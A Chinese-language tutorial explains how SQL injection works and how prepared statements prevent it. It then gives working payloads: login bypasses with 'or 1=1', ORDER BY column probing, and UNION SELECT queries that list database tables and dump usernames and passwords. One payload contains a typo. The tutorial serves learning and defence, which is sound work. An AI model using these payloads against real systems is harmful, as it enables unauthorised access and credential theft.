参考文章:SQL注入原理

一. SQL注入概述

直接原因是没有对用户输入做检查,导致用户输入恶意SQL语句。
根本原因是违反数据和代码分离的设计原则,将用户恶意输入当做代码进行执行。

有以下解决方案:

  • 输入检查
  • 预编译

其中预编译符合数据和代码分离的原则,提前为输入数据提供类型,编译时为数据部分预留空间。这样用户输入智能为某一数据类型,就解决了这个问题。

数据和代码分离原则,先用一个数据类型接收用户输入,再用代码操纵这个数据类型。预编译是一种实现方式。

二. SQL注入实例

情景一:输入账号,密码登录

后端查询语句:

*一般来说#{}这种形式是进行预编译的,而{{}}则没有。

查询语句:

select * from user where username='{{}}' and password='{{}}'

后端代码:

if affect_row==1:
    return "succeed"
else:
    return "fail"

SQL万能密码:

如果用户名和密码都是字符类型:

输入:

?username=xxx’ or ‘1’=’1&password=xxx’ or ‘1’=’1

后端执行语句:

select * from users where username='xxx' or '1'='1' and password='xxx' or '1'='1';

输入:

?username=xxx’ or 1=1;#&password=xxx

后端执行语句:

select * from users where username='xxx' or 1=1;#' and password='xxx';

如果是数字类型:

去掉就行。

情景二:根据id查询xxx信息

这里举一个根据id查找用户信息的例子。

查询语句:

select xxx from user where id={{}}

后端代码:

    @Select("select * from user where id = {{id}}")
    public User getInfo(int id);

    user = new User();
    user = getInfo(id);

    return "用户名:"+username+ '\n' +"密码:"+password;

2. order by 测试

判断查询列数:

输入:?id=1 order by 1

输入:?id=1 order by 2

输入:?id=1 order by ...

确定查询列数为三,回显为后面两列内容

?id=-1 union select 1,2,3

3. union 联合查询

@@version_compile_os:查询操作系统版本

version():查询数据库版本

user():查询当前连接数据库的用户

database():查询当前使用的数据库

当前数据库:
SELECT schema_nameFROM information_schema.schemata;
?id=-1 union select 1,database(),3

当前表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 'dvwa'

表字段:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

尝试注入:
?id=-1 union select 1,group_concat(username),group_cocat(password) from users